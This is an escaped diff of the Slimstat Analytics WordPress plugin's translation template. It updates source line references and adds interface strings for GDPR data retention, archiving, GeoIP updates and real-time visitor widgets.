admin\u002Fconfig\u002Findex.php:533\n+#: admin\u002Fconfig\u002Findex.php:683\n msgid \"In order to send requests to the Slimstat REST API, you will need to pass a valid token to the endpoint (param ?token=XXX). Using the field here below, you can define as many tokens as you like, and distribute them to your API users. Please note: treat these tokens as passwords, as they will grant read access to your reports to anyone who knows them. Use a service like \u003Ca href='https:\u002F\u002Frandomkeygen.com\u002F#ci_key' target='_blank'>RandomKeyGen.com\u003C\u002Fa> to generate unique secure tokens.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:539\n+#: admin\u002Fconfig\u002Findex.php:689\n msgid \"Maintenance\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:543\n+#: admin\u002Fconfig\u002Findex.php:693\n+msgid \"Data Retention & Auto-Purge\"\n+msgstr \"\"\n+\n+#: admin\u002Fconfig\u002Findex.php:697\n+msgid \"Retention Period\"\n+msgstr \"\"\n+\n+#: admin\u002Fconfig\u002Findex.php:700\n+msgid \"\u003Cstrong>GDPR Compliance:\u003C\u002Fstrong> Automatically purge data older than the specified number of days. This process runs twice daily via WordPress cron to keep your database clean and maintain GDPR compliance.\u003Cbr\u002F>\u003Cbr\u002F>\u003Cstrong>Recommended:\u003C\u002Fstrong> \u003Cstrong>420 days (14 months)\u003C\u002Fstrong> - Complies with ePrivacy Directive and most GDPR interpretations. This ensures data is automatically removed after a reasonable retention period.\u003Cbr\u002F>\u003Cstrong>Warning:\u003C\u002Fstrong> Retaining data longer than 14 months may require additional legal justification and a clear Data Processing Agreement (DPA) under GDPR Article 5(1)(e) (Storage Limitation Principle). Failing to comply can result in significant fines.\u003Cbr\u002F>\u003Cbr\u002F>Set to \u003Cstrong>0\u003C\u002Fstrong> to disable automatic purging (\u003Cstrong>strongly discouraged\u003C\u002Fstrong> for GDPR compliance, as unlimited retention requires a very strong and documented legal justification).\"\n+msgstr \"\"\n+\n+#: admin\u002Fconfig\u002Findex.php:703\n+msgid \"Archive Mode\"\n+msgstr \"\"\n+\n+#: admin\u002Fconfig\u002Findex.php:705\n+msgid \"\u003Cstrong>How to handle old data:\u003C\u002Fstrong>\u003Cbr\u002F>\u003Cbr\u002F>\u003Cstrong>Enabled (Archive):\u003C\u002Fstrong> Old records are moved to separate archive tables (\u003Ccode>wp_slim_stats_archive\u003C\u002Fcode>, \u003Ccode>wp_slim_events_archive\u003C\u002Fcode>) instead of being permanently deleted. This improves query performance by keeping the main tables smaller, while still allowing you to access historical data if needed. \u003Cstrong>Note:\u003C\u002Fstrong> Archived data still counts as data retention under GDPR requirements.\u003Cbr\u002F>\u003Cbr\u002F>\u003Cstrong>Disabled (Delete):\u003C\u002Fstrong> Old records are permanently deleted from the database. This is the most GDPR-compliant approach and frees up database space immediately. \u003Cstrong>Warning:\u003C\u002Fstrong> Deleted data cannot be recovered.\u003Cbr\u002F>\u003Cbr\u002F>\u003Cstrong>Important:\u003C\u002Fstrong> Archive tables are \u003Cstrong>permanently deleted\u003C\u002Fstrong> when you uninstall SlimStat. Always \u003Cstrong>backup your data\u003C\u002Fstrong> before uninstalling if you need to retain it.\"\n+msgstr \"\"\n+\n+#: admin\u002Fconfig\u002Findex.php:710\n msgid \"Troubleshooting\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:547\n+#: admin\u002Fconfig\u002Findex.php:714\n msgid \"Tracker Error\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:549\n-#: admin\u002Fconfig\u002Findex.php:555\n-#: admin\u002Fconfig\u002Findex.php:612\n-#: admin\u002Fconfig\u002Findex.php:617\n+#: admin\u002Fconfig\u002Findex.php:716\n+#: admin\u002Fconfig\u002Findex.php:722\n+#: admin\u002Fconfig\u002Findex.php:780\n+#: admin\u002Fconfig\u002Findex.php:785\n msgid \"So far so good.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:549\n-#: admin\u002Fconfig\u002Findex.php:555\n+#: admin\u002Fconfig\u002Findex.php:716\n+#: admin\u002Fconfig\u002Findex.php:722\n msgid \"Reset this error\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:550\n+#: admin\u002Fconfig\u002Findex.php:717\n msgid \"The information here above is useful to troubleshoot issues with the tracker. \u003Cstrong>Errors\u003C\u002Fstrong> are returned when the tracker could not record a page view for some reason, and are indicative of some kind of malfunction.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:553\n+#: admin\u002Fconfig\u002Findex.php:720\n msgid \"GeoIP Database Error\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:556\n+#: admin\u002Fconfig\u002Findex.php:723\n msgid \"The information here above is useful to troubleshoot issues with the GeoIP Database. \u003Cstrong>Errors\u003C\u002Fstrong> are returned when the GeoIP Database can't update or retrieve a visitor's location, indicating some malfunction.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:559\n+#: admin\u002Fconfig\u002Findex.php:726\n msgid \"SQL Debug\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:561\n+#: admin\u002Fconfig\u002Findex.php:728\n msgid \"Enable this option to display the SQL code associated to each report. This can be useful to troubleshoot issues with data consistency or missing pageviews.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:564\n+#: admin\u002Fconfig\u002Findex.php:731\n msgid \"Increase Performance\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:566\n+#: admin\u002Fconfig\u002Findex.php:733\n msgid \"Enable this option to add column indexes to the main Slimstat table. This will make SQL queries faster and increase the size of the table by about 30%.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:571\n+#: admin\u002Fconfig\u002Findex.php:738\n msgid \"Danger Zone\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:575\n+#: admin\u002Fconfig\u002Findex.php:742\n msgid \"Data\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:577\n+#: admin\u002Fconfig\u002Findex.php:744\n msgid \"Please confirm that you want to PERMANENTLY DELETE ALL the records from your database.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:577\n+#: admin\u002Fconfig\u002Findex.php:744\n msgid \"Delete Records\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:578\n+#: admin\u002Fconfig\u002Findex.php:745\n msgid \"Delete all the information collected by Slimstat so far, but not the archived records (stored in \u003Ccode>wp_slim_stats_archive\u003C\u002Fcode>). This operation \u003Cstrong>does not\u003C\u002Fstrong> reset your settings and it can be undone by manually copying your records from the archive table, if you have the corresponding option enabled.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:583\n+#: admin\u002Fconfig\u002Findex.php:750\n msgid \"Please confirm that you want to RESET your settings.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:583\n+#: admin\u002Fconfig\u002Findex.php:750\n msgid \"Factory Reset\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:584\n+#: admin\u002Fconfig\u002Findex.php:751\n msgid \"Restore all the settings to their default value. This action DOES NOT delete any records collected by the plugin.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:587\n+#: admin\u002Fconfig\u002Findex.php:754\n msgid \"Delete Data on Uninstall\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:589\n+#: admin\u002Fconfig\u002Findex.php:756\n msgid \"Delete all settings and slimstat on plugin uninstall. Warning! If you enable this feature, all slimstat and plugin settings will be permanently deleted from the database.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:595\n+#: admin\u002Fconfig\u002Findex.php:762\n msgid \"Pro Options\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:599\n+#: admin\u002Fconfig\u002Findex.php:766\n msgid \"License\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:623\n+#: admin\u002Fconfig\u002Findex.php:791\n msgid \"All settings were successfully reset to their default values.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:631\n+#: admin\u002Fconfig\u002Findex.php:799\n msgid \"All your records were successfully deleted.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:640\n+#: admin\u002Fconfig\u002Findex.php:808\n msgid \"Insufficient permissions.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:647\n-#: admin\u002Findex.php:311\n+#: admin\u002Fconfig\u002Findex.php:815\n+#: admin\u002Findex.php:435\n+#: src\u002FMigration\u002FAdmin\u002FMigrationAdmin.php:154\n msgid \"Sorry, you are not allowed to access this page.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:656\n+#: admin\u002Fconfig\u002Findex.php:824\n msgid \"Congratulations! Slimstat Analytics is now optimized for \u003Ca href=\\\"https:\u002F\u002Fwww.youtube.com\u002Fwatch?v=ygE01sOhzz0\\\" target=\\\"_blank\\\">ludicrous speed\u003C\u002Fa>.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:664\n+#: admin\u002Fconfig\u002Findex.php:832\n msgid \"Table indexes have been disabled. Enjoy the extra database space!\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:687\n-msgid \"The geolocation database has been installed on your server.\"\n+#: admin\u002Fconfig\u002Findex.php:865\n+msgid \"The geolocation database update has been scheduled in the background. You can also use the Update Database button below to start it now.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:715\n+#: admin\u002Fconfig\u002Findex.php:883\n msgid \"The Browscap data file has been uninstalled from your server.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:718\n+#: admin\u002Fconfig\u002Findex.php:886\n msgid \"There was an error deleting the Browscap data folder on your server. Please check your permissions.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:760\n+#: admin\u002Fconfig\u002Findex.php:944\n msgid \"Your new settings have been saved.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:785\n-#: admin\u002Fview\u002Findex.php:14\n+#: admin\u002Fconfig\u002Findex.php:967\n+msgid \"Performance Notice:\"\n+msgstr \"\"\n+\n+#: admin\u002Fconfig\u002Findex.php:968\n+#, php-format\n+msgid \"The following DB indexes are missing and should be created for optimal performance: %s. Please visit the Slimstat settings or re-activate the plugin to trigger index creation.\"\n+msgstr \"\"\n+\n+#: admin\u002Fconfig\u002Findex.php:989\n+#: admin\u002Fview\u002Findex.php:13\n msgid \"\u003Cstrong>AdBlock browser extension detected\u003C\u002Fstrong> - If you see this notice, it means that your browser is not loading our stylesheet and\u002For Javascript files correctly. This could be caused by an overzealous ad blocker feature enabled in your browser (AdBlock Plus and friends). \u003Ca href=\\\"https:\u002F\u002Fwp-slimstat.com\u002Fresources\u002Fthe-reports-are-not-being-rendered-correctly-or-buttons-do-not-work\\\" target=\\\"_blank\\\">Please make sure to add an exception\u003C\u002Fa> to your configuration and allow the browser to load these assets.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:843\n+#: admin\u002Fconfig\u002Findex.php:1060\n msgid \"On\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:844\n+#: admin\u002Fconfig\u002Findex.php:1061\n msgid \"Off\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:921\n+#: admin\u002Fconfig\u002Findex.php:1165\n msgid \"Save Changes\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:51\n+#: admin\u002Findex.php:47\n msgid \"Real-time\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:58\n+#: admin\u002Findex.php:54\n msgid \"Overview\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:65\n+#: admin\u002Findex.php:61\n msgid \"Audience\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:72\n+#: admin\u002Findex.php:68\n msgid \"Site Analysis\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:79\n+#: admin\u002Findex.php:75\n #: admin\u002Fview\u002Fwp-slimstat-reports.php:82\n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:545\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:547\n msgid \"Traffic Sources\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:86\n+#: admin\u002Findex.php:82\n+msgid \"Email Report\"\n+msgstr \"\"\n+\n+#: admin\u002Findex.php:82\n+msgid \"Email Report (pro)\"\n+msgstr \"\"\n+\n+#: admin\u002Findex.php:89\n+#: admin\u002Fview\u002Flayout.php:10\n msgid \"Customize\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:100\n+#: admin\u002Findex.php:103\n msgid \"Upgrade to Pro\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:107\n+#: admin\u002Findex.php:110\n msgid \"WordPress Dashboard\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:690\n-#: admin\u002Findex.php:771\n-msgid \"Slimstat\"\n+#: admin\u002Findex.php:949\n+#: admin\u002Findex.php:963\n+msgid \"SlimStat\"\n+msgstr \"\"\n+\n+#: admin\u002Findex.php:1172\n+#: src\u002FModules\u002FChart.php:132\n+msgid \"Now\"\n+msgstr \"\"\n+\n+#: admin\u002Findex.php:1173\n+msgid \"min ago\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:901\n+#: admin\u002Findex.php:1185\n+#: admin\u002Findex.php:1214\n+msgid \"Online Users\"\n+msgstr \"\"\n+\n+#: admin\u002Findex.php:1186\n+msgid \"Count\"\n+msgstr \"\"\n+\n+#: admin\u002Findex.php:1199\n+#, php-format\n+msgid \"Online: %s\"\n+msgstr \"\"\n+\n+#: admin\u002Findex.php:1219\n+msgid \"Realtime\"\n+msgstr \"\"\n+\n+#: admin\u002Findex.php:1223\n+msgid \"Visitors Today\"\n+msgstr \"\"\n+\n+#: admin\u002Findex.php:1226\n+#: admin\u002Findex.php:1233\n+#: admin\u002Findex.php:1240\n+#, php-format\n+msgid \"was %s last day\"\n+msgstr \"\"\n+\n+#: admin\u002Findex.php:1230\n+msgid \"Views Today\"\n+msgstr \"\"\n+\n+#: admin\u002Findex.php:1237\n+msgid \"Referrals Today\"\n+msgstr \"\"\n+\n+#: admin\u002Findex.php:1268\n+#: views\u002Freports\u002Flive-analytics.php:184\n+msgid \"Unlock the Full Power of SlimStat Analytics\"\n+msgstr \"\"\n+\n+#: admin\u002Findex.php:1271\n+#: admin\u002Fview\u002Fpartials\u002Fslimstat-pro-modal.php:101\n+#: views\u002Freports\u002Flive-analytics.php:192\n+msgid \"Unlock SlimStat Pro\"\n+msgstr \"\"\n+\n+#: admin\u002Findex.php:1291\n+msgid \"Explore Details\"\n+msgstr \"\"\n+\n+#: admin\u002Findex.php:1417\n #, php-format\n msgid \"Pageviews in the last %s days\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:903\n+#: admin\u002Findex.php:1419\n #, php-format\n msgid \"Unique IPs in the last %s days\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:1090\n+#: admin\u002Findex.php:1587\n msgid \"Already saved\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:1098\n+#: admin\u002Findex.php:1595\n msgid \"Saved\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:1121\n+#: admin\u002Findex.php:1618\n msgid \"Delete this filter\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:1183\n+#: admin\u002Findex.php:2012\n+#: admin\u002Findex.php:2051\n+#: src\u002FMigration\u002FAdmin\u002FMigrationAdmin.php:227\n+#: src\u002FMigration\u002FAdmin\u002FMigrationAdmin.php:273\n+#: src\u002FMigration\u002FAdmin\u002FMigrationAdmin.php:300\n+#: wp-slimstat.php:1557\n+msgid \"Permission denied\"\n+msgstr \"\"\n+\n+#: admin\u002Findex.php:2019\n+msgid \"Cloudflare geolocation does not require a database.\"\n+msgstr \"\"\n+\n+#: admin\u002Findex.php:2028\n+#: src\u002FServices\u002FGeoService.php:110\n+msgid \"GeoIP Database Successfully Updated!\"\n+msgstr \"\"\n+\n+#: admin\u002Findex.php:2031\n+#: src\u002FServices\u002FGeoService.php:110\n+msgid \"Failed to update GeoIP Database.\"\n+msgstr \"\"\n+\n+#: admin\u002Findex.php:2033\n+msgid \"Please check your MaxMind license key and try again.\"\n+msgstr \"\"\n+\n+#: admin\u002Findex.php:2037\n+#, php-format\n+msgid \"Details: %s\"\n+msgstr \"\"\n+\n+#: admin\u002Findex.php:2058\n+msgid \"Cloudflare geolocation is active. No database to check.\"\n+msgstr \"\"\n+\n+#: admin\u002Findex.php:2062\n+msgid \"GeoIP Database is present and ready.\"\n+msgstr \"\"\n+\n+#: admin\u002Findex.php:2062\n+msgid \"GeoIP Database not found.\"\n+msgstr \"\"\n+\n+#: admin\u002Findex.php:2085\n msgid \"Definitions\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:1185\n+#: admin\u002Findex.php:2087\n msgid \"Pageview\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:1185\n+#: admin\u002Findex.php:2087\n msgid \"A request to load a single HTML file (\\\"page\\\"). This should be contrasted with a \\\"hit\\\", which refers to a request for any file from a web server. Slimstat logs a pageview each time the tracking code is executed\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:1186\n+#: admin\u002Findex.php:2088\n msgid \"(Human) Visit\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:1186\n+#: admin\u002Findex.php:2088\n msgid \"A period of interaction between a visitor's browser and your website, ending when the browser is closed or when the user has been inactive on that site for 30 minutes\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:1187\n+#: admin\u002Findex.php:2089\n msgid \"Known Visitor\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:1187\n+#: admin\u002Findex.php:2089\n msgid \"Any user who has left a comment on your blog, and is thus identified by WordPress as a returning visitor\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:1188\n+#: admin\u002Findex.php:2090\n msgid \"Unique IP\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:1188\n+#: admin\u002Findex.php:2090\n msgid \"Used to differentiate between multiple requests to download a file from one internet address (IP) and requests originating from many distinct addresses; since this measurement looks only at the internet address a pageview came from, it is useful, but not perfect\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:1189\n-#: admin\u002Findex.php:1227\n-#: admin\u002Fview\u002Fright-now.php:173\n-#: admin\u002Fview\u002Fwp-slimstat-db.php:57\n+#: admin\u002Findex.php:2091\n+#: admin\u002Findex.php:2129\n+#: admin\u002Fview\u002Fright-now.php:184\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:60\n msgid \"Originating IP\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:1189\n+#: admin\u002Findex.php:2091\n msgid \"the originating IP address of a client connecting to a web server through an HTTP proxy or load balancer\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:1190\n+#: admin\u002Findex.php:2092\n msgid \"Direct Traffic\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:1190\n+#: admin\u002Findex.php:2092\n msgid \"All those people showing up to your Web site by typing in the URL of your Web site coming or from a bookmark; some people also call this \\\"default traffic\\\" or \\\"ambient traffic\\\"\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:1191\n+#: admin\u002Findex.php:2093\n msgid \"Search Engine\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:1191\n+#: admin\u002Findex.php:2093\n msgid \"Google, Yahoo, MSN, Ask, others; this bucket will include both your organic as well as your paid (PPC\u002FSEM) traffic, so be aware of that\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:1192\n-#: admin\u002Findex.php:1207\n-#: admin\u002Fview\u002Fright-now.php:230\n-#: admin\u002Fview\u002Fwp-slimstat-db.php:35\n+#: admin\u002Findex.php:2094\n+#: admin\u002Findex.php:2109\n+#: admin\u002Fview\u002Fright-now.php:250\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:38\n #: admin\u002Fview\u002Fwp-slimstat-reports.php:73\n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:268\n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:278\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:270\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:280\n+#: views\u002Fmodules\u002Fchart-view.php:92\n msgid \"Search Terms\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:1192\n-#: admin\u002Findex.php:1207\n+#: admin\u002Findex.php:2094\n+#: admin\u002Findex.php:2109\n msgid \"Keywords used by your visitors to find your website on a search engine\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:1193\n+#: admin\u002Findex.php:2095\n msgid \"SERP\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:1193\n+#: admin\u002Findex.php:2095\n msgid \"Short for search engine results page, the Web page that a search engine returns with the results of its search. The value shown represents your rank (or position) within that list of results\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:1194\n-#: admin\u002Fview\u002Fwp-slimstat-db.php:50\n+#: admin\u002Findex.php:2096\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:53\n+#: src\u002FServices\u002FPrivacy\u002FDataExporter.php:105\n msgid \"User Agent\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:1194\n+#: admin\u002Findex.php:2096\n msgid \"Any program used for accessing a website; this includes browsers, robots, spiders and any other program that was used to retrieve information from the site\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:1195\n-#: admin\u002Fview\u002Fwp-slimstat-db.php:42\n+#: admin\u002Findex.php:2097\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:45\n msgid \"Outbound Link\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:1195\n+#: admin\u002Findex.php:2097\n msgid \"A link from one domain to another is said to be outbound from its source anchor and inbound to its target. This report lists all the links to other websites followed by your visitors.\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:1202\n+#: admin\u002Findex.php:2104\n msgid \"Basic Filters\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:1204\n-#: admin\u002Fview\u002Fwp-slimstat-db.php:32\n+#: admin\u002Findex.php:2106\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:35\n+#: src\u002FServices\u002FPrivacy\u002FDataExporter.php:113\n msgid \"Browser\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:1204\n+#: admin\u002Findex.php:2106\n msgid \"User agent (Firefox, Chrome, ...)\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:1205\n-#: admin\u002Fview\u002Fwp-slimstat-db.php:33\n+#: admin\u002Findex.php:2107\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:36\n msgid \"Country Code\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:1205\n+#: admin\u002Findex.php:2107\n msgid \"2-letter code (us, ru, de, it, ...)\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:1206\n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:1466\n+#: admin\u002Findex.php:2108\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:1535\n msgid \"IP\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:1206\n+#: admin\u002Findex.php:2108\n msgid \"Visitor's public IP address\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:1208\n+#: admin\u002Findex.php:2110\n msgid \"Language Code\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:1208\n+#: admin\u002Findex.php:2110\n msgid \"Please refer to this \u003Ca target=\\\"_blank\\\" href=\\\"https:\u002F\u002Fmsdn.microsoft.com\u002Fen-us\u002Flibrary\u002Fee825488(v=cs.20).aspx\\\">language culture page\u003C\u002Fa> (first column) for more information\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:1209\n-#: admin\u002Fview\u002Fwp-slimstat-db.php:37\n+#: admin\u002Findex.php:2111\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:40\n+#: src\u002FServices\u002FPrivacy\u002FDataExporter.php:120\n msgid \"Operating System\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:1209\n+#: admin\u002Findex.php:2111\n msgid \"Accepts identifiers like win7, win98, macosx, ...; please refer to \u003Ca target=\\\"_blank\\\" href=\\\"https:\u002F\u002Fphp.net\u002Fmanual\u002Fen\u002Ffunction.get-browser.php\\\">this manual page\u003C\u002Fa> for more information\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:1210\n-#: admin\u002Fview\u002Fwp-slimstat-db.php:38\n+#: admin\u002Findex.php:2112\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:41\n msgid \"Permalink\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:1210\n+#: admin\u002Findex.php:2112\n msgid \"URL accessed on your site\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:1211\n-#: admin\u002Fview\u002Fwp-slimstat-db.php:39\n+#: admin\u002Findex.php:2113\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:42\n msgid \"Referer\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:1211\n+#: admin\u002Findex.php:2113\n msgid \"Complete address of the referrer page\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:1212\n+#: admin\u002Findex.php:2114\n msgid \"Visitor's Name\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:1212\n+#: admin\u002Findex.php:2114\n msgid \"Visitors' names according to the cookie set by WordPress after they leave a comment\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:1220\n+#: admin\u002Findex.php:2122\n msgid \"Advanced Filters\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:1222\n-#: admin\u002Fview\u002Fwp-slimstat-db.php:48\n+#: admin\u002Findex.php:2124\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:51\n msgid \"Browser Version\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:1222\n+#: admin\u002Findex.php:2124\n msgid \"user agent version (9.0, 11, ...)\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:1223\n-#: admin\u002Fview\u002Fwp-slimstat-db.php:49\n+#: admin\u002Findex.php:2125\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:52\n msgid \"Browser Type\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:1223\n+#: admin\u002Findex.php:2125\n msgid \"1 = search engine crawler, 2 = mobile device, 3 = syndication reader, 0 = all others\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:1224\n+#: admin\u002Findex.php:2126\n msgid \"Pageview Attributes\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:1224\n+#: admin\u002Findex.php:2126\n msgid \"this field is set to \u003Cem>[pre]\u003C\u002Fem> if the resource has been accessed through \u003Ca target=\\\"_blank\\\" href=\\\"https:\u002F\u002Fdeveloper.mozilla.org\u002Fen\u002FLink_prefetching_FAQ\\\">Link Prefetching\u003C\u002Fa> or similar techniques\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:1225\n-#: admin\u002Fview\u002Fwp-slimstat-db.php:55\n+#: admin\u002Findex.php:2127\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:58\n msgid \"Post Author\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:1225\n+#: admin\u002Findex.php:2127\n msgid \"author associated to that post\u002Fpage when the resource was accessed\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:1226\n-#: admin\u002Fview\u002Fwp-slimstat-db.php:56\n+#: admin\u002Findex.php:2128\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:59\n msgid \"Post Category ID\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:1226\n+#: admin\u002Findex.php:2128\n msgid \"ID of the category\u002Fterm associated to the resource, when available\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:1227\n+#: admin\u002Findex.php:2129\n msgid \"visitor's originating IP address, if available\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:1228\n-#: admin\u002Fview\u002Fwp-slimstat-db.php:58\n+#: admin\u002Findex.php:2130\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:61\n msgid \"Resource Content Type\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:1228\n+#: admin\u002Findex.php:2130\n msgid \"post, page, cpt:\u003Cem>custom-post-type\u003C\u002Fem>, attachment, singular, post_type_archive, tag, taxonomy, category, date, author, archive, search, feed, home; please refer to the \u003Ca target=\\\"_blank\\\" href=\\\"https:\u002F\u002Fcodex.wordpress.org\u002FConditional_Tags\\\">Conditional Tags\u003C\u002Fa> manual page for more information\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:1229\n+#: admin\u002Findex.php:2131\n+#: src\u002FServices\u002FPrivacy\u002FDataExporter.php:127\n msgid \"Screen Resolution\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:1229\n+#: admin\u002Findex.php:2131\n msgid \"viewport width and height (1024x768, 800x600, ...)\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:1230\n-#: admin\u002Fview\u002Fwp-slimstat-db.php:63\n+#: admin\u002Findex.php:2132\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:66\n+#: src\u002FServices\u002FPrivacy\u002FDataExporter.php:150\n msgid \"Visit ID\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:1230\n+#: admin\u002Findex.php:2132\n msgid \"generally used in conjunction with \u003Cem>is not empty\u003C\u002Fem>, identifies human visitors\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:1231\n+#: admin\u002Findex.php:2133\n msgid \"Date Filters\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:1231\n+#: admin\u002Findex.php:2133\n msgid \"you can specify the timeframe by entering a number in the \u003Cem>interval\u003C\u002Fem> field; use -1 to indicate \u003Cem>to date\u003C\u002Fem> (i.e., day=1, month=1, year=blank, interval=-1 will set a year-to-date filter)\"\n msgstr \"\"\n \n-#: 